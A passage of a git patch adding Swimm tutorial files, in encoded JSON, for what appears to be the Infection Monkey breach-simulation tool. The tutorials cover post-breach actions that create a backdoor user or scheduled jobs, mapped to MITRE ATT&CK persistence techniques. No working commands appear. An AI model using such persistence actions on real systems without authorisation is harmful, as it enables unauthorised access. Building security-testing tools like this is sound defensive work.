vbnMlMkZwb3N0X2JyZWFjaF9hY3Rpb25zLnB5JTBBJTQwJTQwJTIwLTQlMkMxNSUyMCUyQjQlMkM3JTIwJTQwJTQwJTIwUE9TVF9CUkVBQ0hfQUNUSU9OUyUyMCUzRCUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMm1pZ2h0JTIwZG8lMjBhZnRlciUyMGJyZWFjaGluZyUyMGElMjBuZXclMjBtYWNoaW5lLiUyMFVzZWQlMjBpbiUyMEFUVCUyNkNLJTIwYW5kJTIwWmVybyUyMHRydXN0JTIwcmVwb3J0cy4lMjIlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjJ0eXBlJTIyJTNBJTIwJTIyc3RyaW5nJTIyJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIyYW55T2YlMjIlM0ElMjAlNUIlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdCJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnR5cGUlMjIlM0ElMjAlMjJzdHJpbmclMjIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyZW51bSUyMiUzQSUyMCU1QiUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJCYWNrZG9vclVzZXIlMjIlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVEJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnRpdGxlJTIyJTNBJTIwJTIyQmFjayUyMGRvb3IlMjB1c2VyJTIyJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMmluZm8lMjIlM0ElMjAlMjJBdHRlbXB0cyUyMHRvJTIwY3JlYXRlJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMHN5c3RlbSUyMGFuZCUyMGRlbGV0ZSUyMGl0JTIwYWZ0ZXJ3YXJkcy4lMjIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyYXR0YWNrX3RlY2huaXF1ZXMlMjIlM0ElMjAlNUIlMjJUMTEzNiUyMiU1RCUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMEElMkIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjMlMjBTd2ltbWVyJTNBJTIwQWRkJTIwbmV3JTIwUEJBJTIwaGVyZSUyMHRvJTIwY29uZmlnISUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnR5cGUlMjIlM0ElMjAlMjJzdHJpbmclMjIlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJlbnVtJTIyJTNBJTIwJTVCJTBB",
     "tests": [],
     "hints": [
-        "See `ScheduleJobs` PBA for an example of a PBA which only uses shell commands",
+        "See `ScheduleJobs` PBA for an example of a PBA which only uses shell commands.",
         "Make sure to add the PBA to the configuration as well.",
         "MITRE ATT&CK technique T1136 articulates that adversaries may create an account to maintain access to victim systems, therefore, the BackdoorUser PBA is relevant to it. Make sure to map this PBA to the MITRE ATT&CK configuration and report."
     ],

From e3b3ad83104f267090cc405b99fff521d5de569a Mon Sep 17 00:00:00 2001
From: Swimm <swimm@swimm.io>
Date: Tue, 6 Oct 2020 20:45:29 +0530
Subject: [PATCH 07/30] Swimm: created units: add PBA const, implement
 `ScheduleJobs` PBA, add PBA config

---
 .swm/JFXftJml8DpmuCPBA9rL.swm | 30 ++++++++++++++++++++++++++++++
 .swm/VW4rf3AxRslfT7lwaug7.swm | 31 +++++++++++++++++++++++++++++++
 .swm/xYkxB76pK0peJj2tSxBJ.swm | 30 ++++++++++++++++++++++++++++++
 3 files changed, 91 insertions(+)
 create mode 100644 .swm/JFXftJml8DpmuCPBA9rL.swm
 create mode 100644 .swm/VW4rf3AxRslfT7lwaug7.swm
 create mode 100644 .swm/xYkxB76pK0peJj2tSxBJ.swm

diff --git a/.swm/JFXftJml8DpmuCPBA9rL.swm b/.swm/JFXftJml8DpmuCPBA9rL.swm
new file mode 100644
index 000000000..7c186126e
--- /dev/null
+++ b/.swm/JFXftJml8DpmuCPBA9rL.swm
@@ -0,0 +1,30 @@
+{
+    "id": "JFXftJml8DpmuCPBA9rL",
+    "name": "Add details about your new PBA",
+    "dod": "WW91JTIwc2hvdWxkJTIwYWRkJTIweW91ciUyMG5ldyUyMFBCQSdzJTIwZGV0YWlscyUyMHRvJTIwdGhlJTIwY29uZmlndXJhdGlvbi4=",
+    "description": "SW4lMjBvcmRlciUyMHRvJTIwbWFrZSUyMHN1cmUlMjB0aGF0JTIwdGhlJTIwbmV3JTIwJTYwU2NoZWR1bGVKb2JzJTYwJTIwUEJBJTIwaXMlMjBzaG93biUyMGluJTIwdGhlJTIwY29uZmlndXJhdGlvbiUyMG9uJTIwdGhlJTIwTW9ua2V5JTIwSXNsYW5kJTJDJTIweW91JTIwbmVlZCUyMHRvJTIwYWRkJTIwaXRzJTIwZGV0YWlscyUyMHRvJTIwdGhlJTIwY29uZmlndXJhdGlvbiUyMGZpbGUocykuJTIwJTNDYnIlM0UlM0NiciUzRSUwQSUwQVNpbmNlJTIwdGhpcyUyMHBhcnRpY3VsYXIlMjBQQkElMjBpcyUyMHJlbGF0ZWQlMjB0byUyMHRoZSUyME1JVFJFJTIwdGVjaG5pcXVlcyUyMCU1QlQxMTY4JTVEKGh0dHBzJTNBJTJGJTJGYXR0YWNrLm1pdHJlLm9yZyUyRnRlY2huaXF1ZXMlMkZUMTE2OCklMjBhbmQlMjAlNUJUMTA1MyU1RChodHRwcyUzQSUyRiUyRmF0dGFjay5taXRyZS5vcmclMkZ0ZWNobmlxdWVzJTJGVDEwNTMpJTJDJTIwbWFrZSUyMHN1cmUlMjB0byUyMGxpbmslMjB0aGUlMjBQQkElMjB3aXRoJTIwdGhlc2UlMjB0ZWNobmlxdWVzJTIwaW4lMjB0aGUlMjBjb25maWd1cmF0aW9uJTIwYXMlMjB3ZWxsLiUyMCUzQ2JyJTNFJTNDYnIlM0UlMEElMEFFYWNoJTIwcGFydCUyMG9mJTIwdGhlJTIwY29uZmlndXJhdGlvbiUyMGhhcyUyMGFuJTIwaW1wb3J0YW50JTIwcm9sZSUyMCUyMCUwQS0lMjAqZW51bSolMjAlRTIlODAlOTQlMjBjb250YWlucyUyMHRoZSUyMHJlbGV2YW50JTIwUEJBJ3MlMjBjbGFzcyUyMG5hbWUocyklMEEtJTIwKnRpdGxlKiUyMCVFMiU4MCU5NCUyMGhvbGRzJTIwdGhlJTIwbmFtZSUyMG9mJTIwdGhlJTIwUEJBJTIwd2hpY2glMjBpcyUyMGRpc3BsYXllZCUyMGluJTIwdGhlJTIwY29uZmlndXJhdGlvbiUyMG9uJTIwdGhlJTIwTW9ua2V5JTIwSXNsYW5kJTBBLSUyMCppbmZvKiUyMCVFMiU4MCU5NCUyMGNvbnNpc3RzJTIwb2YlMjBhbiUyMGVsYWJvcmF0aW9uJTIwb24lMjB0aGUlMjBQQkEncyUyMHdvcmtpbmclMjB3aGljaCUyMGlzJTIwZGlzcGxheWVkJTIwaW4lMjB0aGUlMjBjb25maWd1cmF0aW9uJTIwb24lMjB0aGUlMjBNb25rZXklMjBJc2xhbmQlMEEtJTIwKmF0dGFja190ZWNobmlxdWVzKiUyMCVFMiU4MCU5NCUyMGhhcyUyMHRoZSUyMElEcyUyMG9mJTIwdGhlJTIwTUlUUkUlMjB0ZWNobmlxdWVzJTIwYXNzb2NpYXRlZCUyMHdpdGglMjB0aGUlMjBQQkElMEElMEElMjMlMjMlMjBNYW51YWwlMjB0ZXN0JTIwJTIwJTBBT25jZSUyMHlvdSUyMHRoaW5rJTIweW91J3JlJTIwZG9uZS4uLiUwQS0lMjBSdW4lMjB0aGUlMjBNb25rZXklMjBJc2xhbmQlMEEtJTIwWW91JTIwc2hvdWxkJTIwYmUlMjBhYmxlJTIwdG8lMjBzZWUlMjB5b3VyJTIwbmV3JTIwUEJBJTIwdW5kZXIlMjB0aGUlMjAlMjJNb25rZXklMjIlMjB0YWIlMjBpbiUyMHRoZSUyMGNvbmZpZ3VyYXRpb24lMkMlMjBhbG9uZyUyMHdpdGglMjBpdHMlMjBpbmZvcm1hdGlvbiUyMHdoZW4lMjB5b3UlMjBjbGljayUyMG9uJTIwaXQlMEEtJTIwRnVydGhlciUyQyUyMHdoZW4lMjB5b3UlMjBlbmFibGUlMkZkaXNhYmxlJTIwdGhlJTIwYXNzb2NpYXRlZCUyME1JVFJFJTIwdGVjaG5pcXVlcyUyMHVuZGVyJTIwdGhlJTIwQVRUJTI2Q0slMjB0YWIlMjBpbiUyMHRoZSUyMGNvbmZpZ3VyYXRpb24lMkMlMjB0aGUlMjBQQkElMjBzaG91bGQlMjBhbHNvJTIwYmUlMjBlbmFibGVkJTJGZGlzYWJsZWQlMEElMEElM0NpbWclMjBzcmMlM0QlMjJodHRwcyUzQSUyRiUyRmkuaW1ndXIuY29tJTJGYTVWU2tMNS5naWYlMjIlMjBoZWlnaHQlM0Q0MDAlM0U=",
+    "summary": "LSUyMFRoZSUyMFBCQSUyMGRldGFpbHMlMjBpbiUyMHRoaXMlMjBmaWxlJTIwYXJlJTIwcmVmbGVjdGVkJTIwb24lMjB0aGUlMjBNb25rZXklMjBJc2xhbmQlMjBpbiUyMHRoZSUyMFBCQSUyMGNvbmZpZ3VyYXRpb24uJTBBLSUyMFBCQXMlMjBhcmUlMjBhbHNvJTIwbGlua2VkJTIwdG8lMjB0aGUlMjByZWxldmFudCUyME1JVFJFJTIwdGVjaG5pcXVlcyUyMGluJTIwdGhpcyUyMGZpbGUlMkMlMjB3aG9zZSUyMHJlc3VsdHMlMjBjYW4lMjB0aGVuJTIwYmUlMjBzZWVuJTIwaW4lMjB0aGUlMjBNSVRSRSUyMEFUVCUyNkNLJTIwcmVwb3J0JTIwb24lMjB0aGUlMjBNb25rZXklMjBJc2xhbmQu",
+    "diff": "ZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGY29uZmlnX3NjaGVtYSUyRmRlZmluaXRpb25zJTJGcG9zdF9icmVhY2hfYWN0aW9ucy5weSUyMGIlMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZkZWZpbml0aW9ucyUyRnBvc3RfYnJlYWNoX2FjdGlvbnMucHklMEFpbmRleCUyMGYxZmUwZjZmLi5jY2UzN2IyNCUyMDEwMDY0NCUwQS0tLSUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZkZWZpbml0aW9ucyUyRnBvc3RfYnJlYWNoX2FjdGlvbnMucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZjb25maWdfc2NoZW1hJTJGZGVmaW5pdGlvbnMlMkZwb3N0X2JyZWFjaF9hY3Rpb25zLnB5JTBBJTQwJTQwJTIwLTYyJTJDMTUlMjAlMkI2MiUyQzclMjAlNDAlNDAlMjBQT1NUX0JSRUFDSF9BQ1RJT05TJTIwJTNEJTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyUmVtb3ZlcyUyMHRoZSUyMGZpbGUlMjBhZnRlcndhcmRzLiUyMiUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMmF0dGFja190ZWNobmlxdWVzJTIyJTNBJTIwJTVCJTIyVDExNjYlMjIlNUQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdCJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnR5cGUlMjIlM0ElMjAlMjJzdHJpbmclMjIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyZW51bSUyMiUzQSUyMCU1QiUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJTY2hlZHVsZUpvYnMlMjIlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVEJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnRpdGxlJTIyJTNBJTIwJTIySm9iJTIwc2NoZWR1bGluZyUyMiUyQyUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJpbmZvJTIyJTNBJTIwJTIyQXR0ZW1wdHMlMjB0byUyMGNyZWF0ZSUyMGElMjBzY2hlZHVsZWQlMjBqb2IlMjBvbiUyMHRoZSUyMHN5c3RlbSUyMGFuZCUyMHJlbW92ZSUyMGl0LiUyMiUyQyUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJhdHRhY2tfdGVjaG5pcXVlcyUyMiUzQSUyMCU1QiUyMlQxMTY4JTIyJTJDJTIwJTIyVDEwNTMlMjIlNUQlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdEJTJDJTBBJTJCJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIzJTIwU3dpbW1lciUzQSUyMEFERCUyMERFVEFJTFMlMjBIRVJFISUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnR5cGUlMjIlM0ElMjAlMjJzdHJpbmclMjIlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJlbnVtJTIyJTNBJTIwJTVCJTBB",
+    "tests": [],
+    "hints": [
+        "Have a look at the details of the other techniques."
+    ],
+    "files": {
+        "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": {
+            "index": [
+                "f1fe0f6f..cce37b24",
+                "100644"
+            ],
+            "fileA": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py",
+            "fileB": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py",
+            "status": "MODIFIED",
+            "numLineDeletions": 9,
+            "numLineAdditions": 1,
+            "hunkContainers": [
+                "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC02MiUyQzE1JTIwJTJCNjIlMkM3JTIwJTQwJTQwJTIwUE9TVF9CUkVBQ0hfQUNUSU9OUyUyMCUzRCUyMCU3QiUyMiUyQyUyMmNoYW5nZXMlMjIlM0ElNUIlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJSZW1vdmVzJTIwdGhlJTIwZmlsZSUyMGFmdGVyd2FyZHMuJTVDJTIyJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNjIlMkMlMjJiJTIyJTNBNjIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJhdHRhY2tfdGVjaG5pcXVlcyU1QyUyMiUzQSUyMCU1QiU1QyUyMlQxMTY2JTVDJTIyJTVEJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNjMlMkMlMjJiJTIyJTNBNjMlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E2NCUyQyUyMmIlMjIlM0E2NCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0IlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E2NSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJ0eXBlJTVDJTIyJTNBJTIwJTVDJTIyc3RyaW5nJTVDJTIyJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNjYlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIyZW51bSU1QyUyMiUzQSUyMCU1QiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTY3JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMlNjaGVkdWxlSm9icyU1QyUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTY4JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1RCUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTY5JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnRpdGxlJTVDJTIyJTNBJTIwJTVDJTIySm9iJTIwc2NoZWR1bGluZyU1QyUyMiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTcwJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMmluZm8lNUMlMjIlM0ElMjAlNUMlMjJBdHRlbXB0cyUyMHRvJTIwY3JlYXRlJTIwYSUyMHNjaGVkdWxlZCUyMGpvYiUyMG9uJTIwdGhlJTIwc3lzdGVtJTIwYW5kJTIwcmVtb3ZlJTIwaXQuJTVDJTIyJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNzElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIyYXR0YWNrX3RlY2huaXF1ZXMlNUMlMjIlM0ElMjAlNUIlNUMlMjJUMTE2OCU1QyUyMiUyQyUyMCU1QyUyMlQxMDUzJTVDJTIyJTVEJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNzIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdEJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNzMlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyYWRkJTIyJTJDJTIybWFyayUyMiUzQSUyMiUyQiUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjMlMjBTd2ltbWVyJTNBJTIwQUREJTIwREVUQUlMUyUyMEhFUkUhJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJiJTIyJTNBNjUlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0IlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E3NCUyQyUyMmIlMjIlM0E2NiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnR5cGUlNUMlMjIlM0ElMjAlNUMlMjJzdHJpbmclNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E3NSUyQyUyMmIlMjIlM0E2NyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMmVudW0lNUMlMjIlM0ElMjAlNUIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E3NiUyQyUyMmIlMjIlM0E2OCU3RCU3RCU1RCUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTYyJTJDJTIybGluZXNDb3VudCUyMiUzQTE1JTdEJTJDJTIyYiUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTYyJTJDJTIybGluZXNDb3VudCUyMiUzQTclN0QlN0QlN0QlN0Q="
+            ]
+        }
+    },
+    "app_version": "0.1.90",
+    "file_version": "1.0.2"
+}
\ No newline at end of file
diff --git a/.swm/VW4rf3AxRslfT7lwaug7.swm b/.swm/VW4rf3AxRslfT7lwaug7.swm
new file mode 100644
index 000000000..65090e905
--- /dev/null
+++ b/.swm/VW4rf3AxRslfT7lwaug7.swm
@@ -0,0 +1,31 @@
+{
+    "id": "VW4rf3AxRslfT7lwaug7",
+    "name": "Implement a new PBA —  `ScheduleJobs`",
+    "dod": "WW91JTIwc2hvdWxkJTIwaW1wbGVtZW50JTIwYSUyMG5ldyUyMFBCQSUyMGluJTIwTW9ua2V5JTIwd2hpY2glMjBzY2hlZHVsZXMlMjBqb2JzJTIwb24lMjB0aGUlMjBtYWNoaW5lLg==",
+    "description": "WW91JTIwbmVlZCUyMHRvJTIwaW1wbGVtZW50JTIwdGhlJTIwJTYwU2NoZWR1bGVKb2JzJTYwJTIwUEJBJTIwd2hpY2glMjBjcmVhdGVzJTIwc2NoZWR1bGVkJTIwam9icyUyMG9uJTIwdGhlJTIwbWFjaGluZS4lMjAlM0NiciUzRSUzQ2JyJTNFJTBBJTNDaW1nJTIwc3JjJTNEJTIyaHR0cHMlM0ElMkYlMkZtZWRpYS5naXBoeS5jb20lMkZtZWRpYSUyRmwwSzRtVkU1YjVXWjFzY3RXJTJGZ2lwaHkuZ2lmJTIyJTIwaGVpZ2h0JTNEMTc1JTNFJTNDYnIlM0UlM0NiciUzRSUwQVRoZSUyMGNvbW1hbmRzJTIwdGhhdCUyMGFkZCUyMHNjaGVkdWxlZCUyMGpvYnMlMjBmb3IlMjBXaW5kb3dzJTIwYW5kJTIwTGludXglMjBjYW4lMjBiZSUyMHJldHJpZXZlZCUyMGZyb20lMjAlNjBnZXRfY29tbWFuZHNfdG9fc2NoZWR1bGVfam9icyU2MCUyMCVFMiU4MCU5NCUyMG1ha2UlMjBzdXJlJTIweW91JTIwdW5kZXJzdGFuZCUyMGhvdyUyMHRvJTIwdXNlJTIwdGhpcyUyMGZ1bmN0aW9uJTIwY29ycmVjdGx5LiUwQSUwQSUyMyUyMyUyME1hbnVhbCUyMHRlc3QlMjAlMjAlMEFPbmNlJTIweW91JTIwdGhpbmslMjB5b3UncmUlMjBkb25lLi4uJTBBLSUyMFJ1biUyMHRoZSUyME1vbmtleSUyMElzbGFuZCUwQS0lMjBNYWtlJTIwc3VyZSUyMHRoZSUyMCUyMkpvYiUyMHNjaGVkdWxpbmclMjIlMjBQQkElMjBpcyUyMGVuYWJsZWQlMjBpbiUyMHRoZSUyMCUyMk1vbmtleSUyMiUyMHRhYiUyMGluJTIwdGhlJTIwY29uZmlndXJhdGlvbiUyMCVFMiU4MCU5NCUyMGZvciUyMHRoaXMlMjB0ZXN0JTJDJTIwZGlzYWJsZSUyMG5ldHdvcmslMjBzY2FubmluZyUyQyUyMGV4cGxvaXRpbmclMkMlMjBhbmQlMjBhbGwlMjBvdGhlciUyMFBCQXMlMEEtJTIwUnVuJTIwdGhlJTIwTW9ua2V5JTBBLSUyME1ha2UlMjBzdXJlJTIweW91JTIwc2VlJTIwdGhlJTIwUEJBJTIwd2l0aCUyMGl0cyUyMHJlc3VsdHMlMjBpbiUyMHRoZSUyMFNlY3VyaXR5JTIwcmVwb3J0JTIwYXMlMjB3ZWxsJTIwYXMlMjBpbiUyMHRoZSUyMEFUVCUyNkNLJTIwcmVwb3J0JTIwdW5kZXIlMjB0aGUlMjByZWxldmFudCUyME1JVFJFJTIwdGVjaG5pcXVlJTBBJTBBJTNDaW1nJTIwc3JjJTNEJTIyaHR0cHMlM0ElMkYlMkZmaXJlYmFzZXN0b3JhZ2UuZ29vZ2xlYXBpcy5jb20lMkZ2MCUyRmIlMkZzd2ltbWlvLWNvbnRlbnQlMkZvJTJGcmVwb3NpdG9yaWVzJTI1MkY2TmxiOTlOdFk1RmMzYlNkOHN1SCUyNTJGaW1nJTI1MkZmMGU1M2U2Yy05ZGJlLTQxZDgtOTQ1NC0yYjU3NjFjM2Y1M2EucG5nJTNGYWx0JTNEbWVkaWElMjZ0b2tlbiUzRDIxYWE0YmI4LTdlYmUtNGRhYi1hNzM5LWM3N2UwNTkxNDRkZCUyMiUyMGhlaWdodCUzRDQwMCUzRSUwQSUzQ2JyJTNFJTNDYnIlM0UlMEElM0NpbWclMjBzcmMlM0QlMjJodHRwcyUzQSUyRiUyRmZpcmViYXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbSUyRnYwJTJGYiUyRnN3aW1taW8tY29udGVudCUyRm8lMkZyZXBvc2l0b3JpZXMlMjUyRjZObGI5OU50WTVGYzNiU2Q4c3VIJTI1MkZpbWclMjUyRjUyODM4OWEwLTM1YzgtNDM4MC1iNmUyLTM1MzA2OGVkMDFlNC5wbmclM0ZhbHQlM0RtZWRpYSUyNnRva2VuJTNEMDg3NjdmNTUtODZlMi00ZjUxLThlY2YtMTNmZDZjYzI1YWQ1JTIyJTIwaGVpZ2h0JTNENDAwJTNF",
